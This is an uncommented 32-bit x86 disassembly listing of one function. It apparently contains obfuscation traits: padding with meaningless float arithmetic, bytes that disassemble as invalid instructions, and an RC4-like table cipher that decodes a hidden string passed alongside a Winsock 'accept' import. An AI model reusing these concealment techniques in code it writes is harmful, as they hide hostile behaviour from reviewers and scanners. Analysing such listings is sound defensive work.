movzx edx, byte [ecx]
mov dword [ebp - 0x3f10], edx
mov dword [ebp - 0x3f14], 0x49
mov eax, dword [ebp - 0x34b0]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x4084], ecx
mov edx, dword [ebp - 0x4080]
add edx, dword [ebp - 0x4084]
movzx eax, byte [edx]
mov dword [ebp - 0x3f18], eax
mov dword [ebp - 0x3f1c], 9
mov ecx, dword [ebp - 0x3f10]
sub ecx, dword [ebp - 0x3f14]
mov dword [ebp - 0x3f20], ecx
mov edx, dword [ebp - 0x3f18]
sub edx, dword [ebp - 0x3f1c]
mov dword [ebp - 0x3f24], edx
movss xmm0, dword [0xa723c8]
movss dword [ebp - 0x36e4], xmm0
movss xmm0, dword [0xa7230c]
movss dword [ebp - 0x34e0], xmm0
movss xmm0, dword [0xa721c8]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [0xa72088]
movss dword [ebp - 0x3484], xmm0
movss xmm0, dword [ebp - 0x33cc]
mulss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x33cc]
subss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x33cc]
mulss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x33cc]
mulss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x3484]
comiss xmm0, dword [ebp - 0x33cc]
jbe 0x42ccc5
movss xmm0, dword [ebp - 0x36e4]
addss xmm0, dword [ebp - 0x33cc]
movss dword [ebp - 0x36e4], xmm0
movss xmm0, dword [ebp - 0x34e0]
mulss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x34e0], xmm0
movss xmm0, dword [ebp - 0x36e4]
addss xmm0, dword [ebp - 0x33cc]
movss dword [ebp - 0x36e4], xmm0
movss xmm0, dword [ebp - 0x33cc]
divss xmm0, dword [ebp - 0x36e4]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x33cc]
mulss xmm0, dword [ebp - 0x36e4]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x34e0]
subss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x34e0], xmm0
movss xmm0, dword [ebp - 0x33cc]
addss xmm0, dword [ebp - 0x36e4]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x36e4]
mulss xmm0, dword [ebp - 0x33cc]
movss dword [ebp - 0x36e4], xmm0
movss xmm0, dword [ebp - 0x34e0]
comiss xmm0, dword [ebp - 0x3484]
jbe 0x42cc63
movss xmm0, dword [ebp - 0x34e0]
subss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x34e0], xmm0
movss xmm0, dword [ebp - 0x33cc]
mulss xmm0, dword [ebp - 0x36e4]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x34e0]
addss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x34e0], xmm0
movss xmm0, dword [ebp - 0x3484]
divss xmm0, dword [ebp - 0x34e0]
movss dword [ebp - 0x3484], xmm0
movss xmm0, dword [ebp - 0x34e0]
subss xmm0, dword [ebp - 0x33cc]
movss dword [ebp - 0x34e0], xmm0
movss xmm0, dword [ebp - 0x3484]
mulss xmm0, dword [ebp - 0x36e4]
movss dword [ebp - 0x3484], xmm0
movss xmm0, dword [ebp - 0x34e0]
addss xmm0, dword [ebp - 0x33cc]
movss dword [ebp - 0x34e0], xmm0
movss xmm0, dword [ebp - 0x3484]
divss xmm0, dword [ebp - 0x36e4]
movss dword [ebp - 0x3484], xmm0
movss xmm0, dword [ebp - 0x34e0]
comiss xmm0, dword [ebp - 0x3484]
jbe 0x42cc01
movss xmm0, dword [ebp - 0x3484]
divss xmm0, dword [ebp - 0x34e0]
movss dword [ebp - 0x3484], xmm0
movss xmm0, dword [ebp - 0x3484]
subss xmm0, dword [ebp - 0x34e0]
movss dword [ebp - 0x3484], xmm0
movss xmm0, dword [ebp - 0x3484]
subss xmm0, dword [ebp - 0x34e0]
movss dword [ebp - 0x3484], xmm0
movss xmm0, dword [ebp - 0x36e4]
addss xmm0, dword [ebp - 0x33cc]
movss dword [ebp - 0x36e4], xmm0
jmp 0x42cc61
movss xmm0, dword [ebp - 0x36e4]
addss xmm0, dword [ebp - 0x34e0]
movss dword [ebp - 0x36e4], xmm0
movss xmm0, dword [ebp - 0x33cc]
mulss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x34e0]
mulss xmm0, dword [ebp - 0x33cc]
movss dword [ebp - 0x34e0], xmm0
movss xmm0, dword [ebp - 0x33cc]
subss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x33cc], xmm0
jmp 0x42ccc3
movss xmm0, dword [ebp - 0x33cc]
mulss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x33cc]
subss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x34e0]
mulss xmm0, dword [ebp - 0x33cc]
movss dword [ebp - 0x34e0], xmm0
movss xmm0, dword [ebp - 0x33cc]
mulss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x33cc], xmm0
jmp 0x42cd34
movss xmm0, dword [ebp - 0x33cc]
subss xmm0, dword [ebp - 0x3484]
movss dword [ebp - 0x33cc], xmm0
movss xmm0, dword [ebp - 0x36e4]
mulss xmm0, dword [ebp - 0x34e0]
movss dword [ebp - 0x36e4], xmm0
movss xmm0, dword [ebp - 0x36e4]
mulss xmm0, dword [ebp - 0x34e0]
movss dword [ebp - 0x36e4], xmm0
movss xmm0, dword [ebp - 0x34e0]
mulss xmm0, dword [ebp - 0x33cc]
movss dword [ebp - 0x34e0], xmm0
mov eax, dword [ebp - 0x3f20]
shl eax, 4
mov dword [ebp - 0x4088], eax
mov ecx, dword [ebp - 0x3f24]
mov dword [ebp - 0x408c], ecx
mov edx, dword [ebp - 0x4088]
or edx, dword [ebp - 0x408c]
mov dword [ebp - 0x4090], edx
mov al, byte [ebp - 0x4090]
mov byte [ebp - 0x332c], al
movzx ecx, byte [ebp - 0x330b]
mov dl, byte [ebp + ecx - 0x68d8]
mov byte [ebp - 0x332e], dl
movzx eax, byte [ebp - 0x32c2]
movzx ecx, byte [ebp + eax - 0x68d8]
movzx edx, byte [ebp - 0x32d5]
add edx, ecx
mov byte [ebp - 0x32d5], dl
mov al, byte [ebp - 0x32c2]
add al, 1
mov byte [ebp - 0x32c2], al
movzx ecx, byte [ebp - 0x32d5]
movzx edx, byte [ebp - 0x330b]
mov al, byte [ebp + ecx - 0x68d8]
mov byte [ebp + edx - 0x68d8], al
movzx ecx, byte [ebp - 0x32d4]
movzx edx, byte [ebp - 0x32d5]
mov al, byte [ebp + ecx - 0x68d8]
mov byte [ebp + edx - 0x68d8], al
movzx ecx, byte [ebp - 0x32c2]
movzx edx, byte [ebp - 0x32d4]
mov al, byte [ebp + ecx - 0x68d8]
mov byte [ebp + edx - 0x68d8], al
movzx ecx, byte [ebp - 0x32c2]
mov dl, byte [ebp - 0x332e]
mov byte [ebp + ecx - 0x68d8], dl
movzx eax, byte [ebp - 0x332e]
movzx ecx, byte [ebp + eax - 0x68d8]
movzx edx, byte [ebp - 0x3332]
add edx, ecx
mov byte [ebp - 0x3332], dl
movzx eax, byte [ebp - 0x332c]
movzx ecx, byte [ebp - 0x32d5]
movzx edx, byte [ebp + ecx - 0x68d8]
movzx ecx, byte [ebp - 0x32c2]
movzx ecx, byte [ebp + ecx - 0x68d8]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x68d8]
xor eax, edx
movzx ecx, byte [ebp - 0x32d4]
movzx edx, byte [ebp + ecx - 0x68d8]
movzx ecx, byte [ebp - 0x330b]
movzx ecx, byte [ebp + ecx - 0x68d8]
add edx, ecx
movzx ecx, byte [ebp - 0x3332]
movzx ecx, byte [ebp + ecx - 0x68d8]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x68d8]
movzx ecx, byte [ebp + edx - 0x68d8]
xor eax, ecx
mov byte [ebp - 0x32d4], al
mov dl, byte [ebp - 0x332c]
mov byte [ebp - 0x330b], dl
mov al, byte [ebp - 0x32d4]
mov byte [ebp - 0x33bf], al
cmp dword [ebp - 0x34b0], 0
jle 0x42cede
movsx cx, byte [ebp - 0x33bf]
mov edx, dword [ebp - 0x34b0]
mov word [ebp + edx*2 - 0x12], cx
mov eax, 2
shl eax, 2
mov dword [ebp - 0x5160], eax
cmp dword [ebp - 0x5160], 0xa
jae 0x42cef7
jmp 0x42cefc
call fcn.009f5b17
xor ecx, ecx
mov edx, dword [ebp - 0x5160]
mov word [ebp + edx - 0x10], cx
jmp 0x42cf5c
mov dword [ebp - 0x4880], 0
jmp 0x42cf26
mov eax, dword [ebp - 0x4880]
add eax, 1
mov dword [ebp - 0x4880], eax
cmp dword [ebp - 0x4880], 5
jge 0x42cf5c
mov ecx, dword [ebp - 0x4880]
shl ecx, 1
mov dword [ebp - 0x515c], ecx
cmp dword [ebp - 0x515c], 0xa
jae 0x42cf48
jmp 0x42cf4d
call fcn.009f5b17
xor edx, edx
mov eax, dword [ebp - 0x515c]
mov word [ebp + eax - 0x10], dx
jmp 0x42cf17
push 1
mov ecx, dword [ebp - 0x46bc]
push ecx
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0xb8]
push ecx
push reloc.WS2_32.dll_accept
call fcn.00428c10
add esp, 0x18
mov dword [ebp - 0x3220], 0
mov dword [ebp - 0x321c], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x4824], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45b0], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x45b0], xmm0
jmp 0x42cfd0
movsd xmm0, qword [ebp - 0x45b0]
addsd xmm0, qword [0xa71340]
movsd qword [ebp - 0x45b0], xmm0
movsd xmm0, qword [0xa719a8]
comisd xmm0, xmmword [ebp - 0x45b0]
jbe 0x42d081
movsd xmm0, qword [0xa71678]
mulsd xmm0, qword [ebp - 0x45b0]
mulsd xmm0, qword [ebp - 0x45b0]
movsd xmm1, qword [ebp - 0x45b0]
mulsd xmm1, qword [ebp - 0x45b0]
subsd xmm0, xmm1
movsd xmm1, qword [0xa713c0]
mulsd xmm1, qword [ebp - 0x45b0]
mulsd xmm1, qword [ebp - 0x45b0]
addsd xmm1, qword [0xa71488]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x4824]
movsd qword [ebp - 0x4824], xmm0
movsd xmm0, qword [ebp - 0x4824]
comisd xmm0, xmmword [0xa71530]
jbe 0x42d07c
movsd xmm0, qword [0xa71320]
mulsd xmm0, qword [ebp - 0x45b0]
movsd xmm1, qword [ebp - 0x4824]
subsd xmm1, xmm0
movsd qword [ebp - 0x4824], xmm1
jmp 0x42cfb8
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x4824]
jbe 0x42d0c0
pop esi
jnp 0x42d0bc
xor eax, 0x70345121
jo 0x42d0e8
push esp
inc ecx
pop si
xor dword gs:[esi + 0x2d], ecx
arpl word [ebp + 0x38], dx
inc esp
pop edi
bound edi, qword [ebp + 0x25]
dec edi
sub bh, byte [0xa1d9a7d4]
invalid
ficomp word [ebx]
add byte [eax], al
mov dword [ebp - 0x3220], 0x42d0ad
mov dword [ebp - 0x321c], 0x42d08e
mov edx, dword [ebp - 0x3220]
mov dword [ebp - 0x3cf4], edx
mov eax, dword [ebp - 0x321c]
mov dword [ebp - 0x64c8], eax
mov byte [ebp - 0x3fa9], 0x23
mov dword [ebp - 0x378c], 0
jmp 0x42d10e
cmp byte [ebx - 0x7a390001], bl
push edi
sar bh, 0xff
and eax, edi
test dword [eax + ecx*8 - 1], esi
inc dword [eax]
add byte [eax], al
add bl, ch
jnp 0xb4591
mov ecx, dword [ebp - 0x378c]
add ecx, 1
mov dword [ebp - 0x378c], ecx
inc dword [ebx - 0x7276fe3f]
je 0x42d0d4
invalid
cmp dword [ebp - 0x378c], 0x100
jae 0x42d12f
mov edx, dword [ebp - 0x378c]
mov al, byte [ebp - 0x378c]
mov byte [ebp + edx - 0x61e4], al
jmp 0x42d0ff
mov dword [ebp - 0x44f4], 0
mov byte [ebp - 0x3357], 0
mov dword [ebp - 0x378c], 0xff
jmp 0x42d15b
mov ecx, dword [ebp - 0x378c]
sub ecx, 1
mov dword [ebp - 0x378c], ecx
cmp dword [ebp - 0x378c], 0
jbe 0x42d3cb
mov dword [ebp - 0x4b38], 0
mov dword [ebp - 0x487c], 1
mov edx, dword [ebp - 0x487c]
cmp edx, dword [ebp - 0x378c]
jae 0x42d19c
mov eax, dword [ebp - 0x487c]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x487c], ecx
jmp 0x42d17c
mov edx, dword [ebp - 0x44f4]
mov dword [ebp - 0x5158], edx
cmp dword [ebp - 0x5158], 3
ja case.default.0x42d1bb
mov eax, dword [ebp - 0x5158]
jmp dword [eax*4 + 0x46af98]
movzx ecx, byte [ebp - 0x3357]
movzx ebx, byte [ebp + ecx - 0x61e4]
movsd xmm0, qword [ebp - 0x4824]
call fcn.009f5ff0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3357], bl
jmp 0x42d2a4
movzx edx, byte [ebp - 0x3357]
movzx ebx, byte [ebp + edx - 0x61e4]
movsd xmm0, qword [ebp - 0x4824]
call fcn.009f5ff0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3357], bl
jmp 0x42d2a4
movzx eax, byte [ebp - 0x3357]
movzx ebx, byte [ebp + eax - 0x61e4]
movsd xmm0, qword [ebp - 0x4824]
call fcn.009f5ff0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3357], bl
jmp 0x42d2a4
movzx ecx, byte [ebp - 0x3357]
movzx ebx, byte [ebp + ecx - 0x61e4]
movsd xmm0, qword [ebp - 0x4824]
call fcn.009f5ff0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3357], bl
jmp 0x42d2a4
movzx edx, byte [ebp - 0x3357]
movzx eax, byte [ebp + edx - 0x61e4]
mov ecx, dword [ebp - 0x64c8]
add ecx, dword [ebp - 0x44f4]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x3357], al
mov eax, dword [ebp - 0x44f4]
add eax, 1
mov dword [ebp - 0x44f4], eax
movzx ecx, byte [ebp - 0x3fa9]
cmp dword [ebp - 0x44f4], ecx
jb 0x42d2e2
mov dword [ebp - 0x44f4], 0
movzx edx, byte [ebp - 0x3fa9]
movzx eax, byte [ebp - 0x3357]
add eax, edx
mov byte [ebp - 0x3357], al
movzx ecx, byte [ebp - 0x3357]
and ecx, dword [ebp - 0x487c]
mov dword [ebp - 0x4294], ecx
mov edx, dword [ebp - 0x4b38]
add edx, 1
mov dword [ebp - 0x4b38], edx
cmp dword [ebp - 0x4b38], 0xb
jbe 0x42d321
mov eax, dword [ebp - 0x4294]
xor edx, edx
div dword [ebp - 0x378c]
mov dword [ebp - 0x4294], edx
mov eax, dword [ebp - 0x4294]
cmp eax, dword [ebp - 0x378c]
ja 0x42d19c
mov ecx, dword [ebp - 0x378c]
cmp ecx, dword [ebp - 0x4294]
je 0x42d3c6
mov edx, dword [ebp - 0x4294]
movzx eax, byte [ebp + edx - 0x61e4]
mov ecx, dword [ebp - 0x378c]
movzx edx, byte [ebp + ecx - 0x61e4]
xor edx, eax
mov eax, dword [ebp - 0x378c]
mov byte [ebp + eax - 0x61e4], dl
mov ecx, dword [ebp - 0x378c]
movzx edx, byte [ebp + ecx - 0x61e4]
mov eax, dword [ebp - 0x4294]
movzx ecx, byte [ebp + eax - 0x61e4]
xor ecx, edx
mov edx, dword [ebp - 0x4294]
mov byte [ebp + edx - 0x61e4], cl
mov eax, dword [ebp - 0x4294]
movzx ecx, byte [ebp + eax - 0x61e4]
mov edx, dword [ebp - 0x378c]
movzx eax, byte [ebp + edx - 0x61e4]
xor eax, ecx
mov ecx, dword [ebp - 0x378c]
mov byte [ebp + ecx - 0x61e4], al
jmp 0x42d14c
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x61e4]
mov byte [ebp - 0x3282], al
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x61e4]
mov byte [ebp - 0x32a7], al
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x61e4]
mov byte [ebp - 0x32f7], al
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x61e4]
mov byte [ebp - 0x32a8], al
movzx ecx, byte [ebp - 0x3357]
mov dl, byte [ebp + ecx - 0x61e4]
mov byte [ebp - 0x32ca], dl
mov dword [ebp - 0x5154], 0xe
cmp dword [ebp - 0x5154], 2
jle 0x42ec4d
mov eax, dword [ebp - 0x5154]
and eax, 1
jne 0x42ec4d
mov dword [ebp - 0x33b8], 0
mov dword [ebp - 0x3cec], 0
mov ecx, dword [ebp - 0x3cec]
add ecx, 1
mov dword [ebp - 0x3cec], ecx
mov dword [ebp - 0x3cf0], 0
mov edx, dword [ebp - 0x33b8]
shl edx, 1
mov dword [ebp - 0x3cf0], edx
mov dword [ebp - 0x3bd0], 0
mov eax, dword [ebp - 0x3cf4]
add eax, dword [ebp - 0x3cf0]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x3bd0]
mov dword [ebp - 0x3bd0], ecx
mov dword [ebp - 0x3bcc], 0
mov edx, dword [ebp - 0x3bcc]
add edx, 0xcd
mov dword [ebp - 0x3bcc], edx
mov dword [ebp - 0x3cf8], 0
mov eax, dword [ebp - 0x33b8]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3cf8], ecx
mov dword [ebp - 0x3bc8], 0
mov edx, dword [ebp - 0x3cf4]
add edx, dword [ebp - 0x3cf8]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3bc8]
mov dword [ebp - 0x3bc8], eax
mov dword [ebp - 0x3bc4], 0
mov ecx, dword [ebp - 0x3bc4]
add ecx, 0xa0
mov dword [ebp - 0x3bc4], ecx
mov dword [ebp - 0x3bc0], 0
mov edx, dword [ebp - 0x3bd0]
sub edx, dword [ebp - 0x3bcc]
add edx, dword [ebp - 0x3bc0]
mov dword [ebp - 0x3bc0], edx
mov dword [ebp - 0x3bbc], 0
mov eax, dword [ebp - 0x3bc8]
sub eax, dword [ebp - 0x3bc4]
add eax, dword [ebp - 0x3bbc]
mov dword [ebp - 0x3bbc], eax
mov dword [ebp - 0x3cfc], 0
mov ecx, dword [ebp - 0x3bc0]
shl ecx, 4
mov dword [ebp - 0x3cfc], ecx
mov dword [ebp - 0x3d00], 0
mov edx, dword [ebp - 0x3bbc]
mov dword [ebp - 0x3d00], edx
mov dword [ebp - 0x3d04], 0
mov eax, dword [ebp - 0x3cfc]
or eax, dword [ebp - 0x3d00]
mov dword [ebp - 0x3d04], eax
mov byte [ebp - 0x32f6], 0
mov cl, byte [ebp - 0x3d04]
mov byte [ebp - 0x32f6], cl
mov byte [ebp - 0x32f8], 0
movzx edx, byte [ebp - 0x32ca]
mov al, byte [ebp + edx - 0x61e4]
mov byte [ebp - 0x32f8], al
movzx ecx, byte [ebp - 0x3282]
movzx edx, byte [ebp + ecx - 0x61e4]
movzx eax, byte [ebp - 0x32a7]
add eax, edx
mov byte [ebp - 0x32a7], al
mov cl, byte [ebp - 0x3282]
add cl, 1
mov byte [ebp - 0x3282], cl
movzx edx, byte [ebp - 0x32a7]
movzx eax, byte [ebp - 0x32ca]
mov cl, byte [ebp + edx - 0x61e4]
mov byte [ebp + eax - 0x61e4], cl
movzx edx, byte [ebp - 0x32a8]
movzx eax, byte [ebp - 0x32a7]
mov cl, byte [ebp + edx - 0x61e4]
mov byte [ebp + eax - 0x61e4], cl
movzx edx, byte [ebp - 0x3282]
movzx eax, byte [ebp - 0x32a8]
mov cl, byte [ebp + edx - 0x61e4]
mov byte [ebp + eax - 0x61e4], cl
movzx edx, byte [ebp - 0x3282]
mov al, byte [ebp - 0x32f8]
mov byte [ebp + edx - 0x61e4], al
movzx ecx, byte [ebp - 0x32f8]
movzx edx, byte [ebp + ecx - 0x61e4]
movzx eax, byte [ebp - 0x32f7]
add eax, edx
mov byte [ebp - 0x32f7], al
movzx ecx, byte [ebp - 0x32f6]
movzx edx, byte [ebp - 0x32a7]
movzx eax, byte [ebp + edx - 0x61e4]
movzx edx, byte [ebp - 0x3282]
movzx edx, byte [ebp + edx - 0x61e4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x61e4]
xor ecx, eax
movzx edx, byte [ebp - 0x32a8]
movzx eax, byte [ebp + edx - 0x61e4]
movzx edx, byte [ebp - 0x32ca]
movzx edx, byte [ebp + edx - 0x61e4]
add eax, edx
movzx edx, byte [ebp - 0x32f7]
movzx edx, byte [ebp + edx - 0x61e4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x61e4]
movzx edx, byte [ebp + eax - 0x61e4]
xor ecx, edx
mov byte [ebp - 0x32a8], cl
mov al, byte [ebp - 0x32f6]
mov byte [ebp - 0x32ca], al
mov cl, byte [ebp - 0x32a8]
mov byte [ebp - 0x3365], cl
cmp dword [ebp - 0x33b8], 0
jle 0x42d758
movsx dx, byte [ebp - 0x3365]
mov eax, dword [ebp - 0x33b8]
mov word [ebp + eax*2 - 0x2e], dx
mov ecx, dword [ebp - 0x33b8]
add ecx, 1
mov dword [ebp - 0x33b8], ecx
mov edx, dword [ebp - 0x3cec]
add edx, 1
mov dword [ebp - 0x3cec], edx
mov eax, dword [ebp - 0x33b8]
shl eax, 1
mov dword [ebp - 0x3cf0], eax
mov ecx, dword [ebp - 0x3cf4]
add ecx, dword [ebp - 0x3cf0]
movzx edx, byte [ecx]
mov dword [ebp - 0x3bd0], edx
mov dword [ebp - 0x3bcc], 0xcd
mov eax, dword [ebp - 0x33b8]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3cf8], ecx
mov edx, dword [ebp - 0x3cf4]
add edx, dword [ebp - 0x3cf8]
movzx eax, byte [edx]
mov dword [ebp - 0x3bc8], eax
mov dword [ebp - 0x3bc4], 0xa0
mov ecx, dword [ebp - 0x3bd0]
sub ecx, dword [ebp - 0x3bcc]
mov dword [ebp - 0x3bc0], ecx
mov edx, dword [ebp - 0x3bc8]
sub edx, dword [ebp - 0x3bc4]
mov dword [ebp - 0x3bbc], edx
mov eax, dword [ebp - 0x3bc0]
shl eax, 4
mov dword [ebp - 0x3cfc], eax
mov ecx, dword [ebp - 0x3bbc]
mov dword [ebp - 0x3d00], ecx
movss xmm0, dword [0xa723f0]
movss dword [ebp - 0x39a4], xmm0
movss xmm0, dword [0xa723b0]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [0xa7234c]
movss dword [ebp - 0x3bd4], xmm0
movss xmm0, dword [0xa7227c]
movss dword [ebp - 0x4214], xmm0
movss xmm0, dword [0xa721ac]
movss dword [ebp - 0x3790], xmm0
movss xmm0, dword [0xa720d8]
movss dword [ebp - 0x3db8], xmm0
movss xmm0, dword [0xa71ffc]
movss dword [ebp - 0x345c], xmm0
movss xmm0, dword [ebp - 0x39a4]
addss xmm0, dword [ebp - 0x345c]
movss dword [ebp - 0x39a4], xmm0
movss xmm0, dword [ebp - 0x34b4]
addss xmm0, dword [ebp - 0x345c]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [ebp - 0x3bd4]
subss xmm0, dword [ebp - 0x345c]
movss dword [ebp - 0x3bd4], xmm0
movss xmm0, dword [ebp - 0x3790]
addss xmm0, dword [ebp - 0x345c]
movss dword [ebp - 0x3790], xmm0
movss xmm0, dword [ebp - 0x34b4]
subss xmm0, dword [ebp - 0x345c]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [ebp - 0x3790]
mulss xmm0, dword [ebp - 0x345c]
movss dword [ebp - 0x3790], xmm0
movss xmm0, dword [ebp - 0x4214]
addss xmm0, dword [ebp - 0x345c]
movss dword [ebp - 0x4214], xmm0
movss xmm0, dword [ebp - 0x345c]
comiss xmm0, dword [ebp - 0x3790]
jbe 0x42dbfd
movss xmm0, dword [ebp - 0x3790]
addss xmm0, dword [ebp - 0x3db8]
movss dword [ebp - 0x3790], xmm0
movss xmm0, dword [ebp - 0x3db8]
mulss xmm0, dword [ebp - 0x345c]
movss dword [ebp - 0x3db8], xmm0
movss xmm0, dword [ebp - 0x39a4]
mulss xmm0, dword [ebp - 0x34b4]
movss dword [ebp - 0x39a4], xmm0
movss xmm0, dword [ebp - 0x345c]
divss xmm0, dword [ebp - 0x39a4]
movss dword [ebp - 0x345c], xmm0
movss xmm0, dword [ebp - 0x3bd4]
divss xmm0, dword [ebp - 0x4214]
movss dword [ebp - 0x3bd4], xmm0
movss xmm0, dword [ebp - 0x34b4]
divss xmm0, dword [ebp - 0x3bd4]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [ebp - 0x345c]
addss xmm0, dword [ebp - 0x39a4]
movss dword [ebp - 0x345c], xmm0
movss xmm0, dword [ebp - 0x345c]
divss xmm0, dword [ebp - 0x39a4]
movss dword [ebp - 0x345c], xmm0
movss xmm0, dword [ebp - 0x3790]
subss xmm0, dword [ebp - 0x3db8]
movss dword [ebp - 0x3790], xmm0
movss xmm0, dword [ebp - 0x3db8]
mulss xmm0, dword [ebp - 0x345c]
movss dword [ebp - 0x3db8], xmm0
movss xmm0, dword [ebp - 0x345c]
mulss xmm0, dword [ebp - 0x39a4]
movss dword [ebp - 0x345c], xmm0
movss xmm0, dword [ebp - 0x4214]
subss xmm0, dword [ebp - 0x3790]
movss dword [ebp - 0x4214], xmm0
movss xmm0, dword [ebp - 0x3db8]
divss xmm0, dword [ebp - 0x345c]
movss dword [ebp - 0x3db8], xmm0
movss xmm0, dword [ebp - 0x34b4]
divss xmm0, dword [ebp - 0x3bd4]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [ebp - 0x4214]
comiss xmm0, dword [ebp - 0x34b4]
jbe 0x42db50
movss xmm0, dword [ebp - 0x34b4]
addss xmm0, dword [ebp - 0x3bd4]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [ebp - 0x345c]
mulss xmm0, dword [ebp - 0x39a4]
movss dword [ebp - 0x345c], xmm0
movss xmm0, dword [ebp - 0x3db8]
addss xmm0, dword [ebp - 0x345c]
movss dword [ebp - 0x3db8], xmm0
movss xmm0, dword [ebp - 0x39a4]
subss xmm0, dword [ebp - 0x34b4]
movss dword [ebp - 0x39a4], xmm0
movss xmm0, dword [ebp - 0x34b4]
subss xmm0, dword [ebp - 0x3bd4]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [ebp - 0x345c]
mulss xmm0, dword [ebp - 0x39a4]
movss dword [ebp - 0x345c], xmm0
movss xmm0, dword [ebp - 0x34b4]
subss xmm0, dword [ebp - 0x3bd4]
movss dword [ebp - 0x34b4], xmm0
jmp 0x42dbf8
movss xmm0, dword [ebp - 0x345c]
divss xmm0, dword [ebp - 0x34b4]
movss dword [ebp - 0x345c], xmm0
movss xmm0, dword [ebp - 0x39a4]
divss xmm0, dword [ebp - 0x3bd4]
movss dword [ebp - 0x39a4], xmm0
movss xmm0, dword [ebp - 0x34b4]
subss xmm0, dword [ebp - 0x4214]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [ebp - 0x3790]
subss xmm0, dword [ebp - 0x345c]
movss dword [ebp - 0x3790], xmm0
movss xmm0, dword [ebp - 0x3bd4]
addss xmm0, dword [ebp - 0x3790]
movss dword [ebp - 0x3bd4], xmm0
movss xmm0, dword [ebp - 0x345c]
mulss xmm0, dword [ebp - 0x34b4]
movss dword [ebp - 0x345c], xmm0
movss xmm0, dword [ebp - 0x3790]
divss xmm0, dword [ebp - 0x345c]
movss dword [ebp - 0x3790], xmm0
jmp 0x42dcb7
movss xmm0, dword [ebp - 0x34b4]
subss xmm0, dword [ebp - 0x3bd4]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [ebp - 0x34b4]
mulss xmm0, dword [ebp - 0x3bd4]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [ebp - 0x3db8]
subss xmm0, dword [ebp - 0x345c]
movss dword [ebp - 0x3db8], xmm0
movss xmm0, dword [ebp - 0x34b4]
mulss xmm0, dword [ebp - 0x3bd4]
movss dword [ebp - 0x34b4], xmm0
movss xmm0, dword [ebp - 0x3790]
subss xmm0, dword [ebp - 0x3db8]
movss dword [ebp - 0x3790], xmm0
movss xmm0, dword [ebp - 0x4214]
addss xmm0, dword [ebp - 0x3790]
movss dword [ebp - 0x4214], xmm0
movss xmm0, dword [ebp - 0x39a4]
addss xmm0, dword [ebp - 0x34b4]
movss dword [ebp - 0x39a4], xmm0
mov edx, dword [ebp - 0x3cfc]
or edx, dword [ebp - 0x3d00]
mov dword [ebp - 0x3d04], edx
mov al, byte [ebp - 0x3d04]
mov byte [ebp - 0x32f6], al
movzx ecx, byte [ebp - 0x32ca]
mov dl, byte [ebp + ecx - 0x61e4]
mov byte [ebp - 0x32f8], dl
movzx eax, byte [ebp - 0x3282]
movzx ecx, byte [ebp + eax - 0x61e4]
movzx edx, byte [ebp - 0x32a7]
add edx, ecx
mov byte [ebp - 0x32a7], dl
mov al, byte [ebp - 0x3282]
add al, 1
mov byte [ebp - 0x3282], al
movzx ecx, byte [ebp - 0x32a7]
movzx edx, byte [ebp - 0x32ca]
mov al, byte [ebp + ecx - 0x61e4]
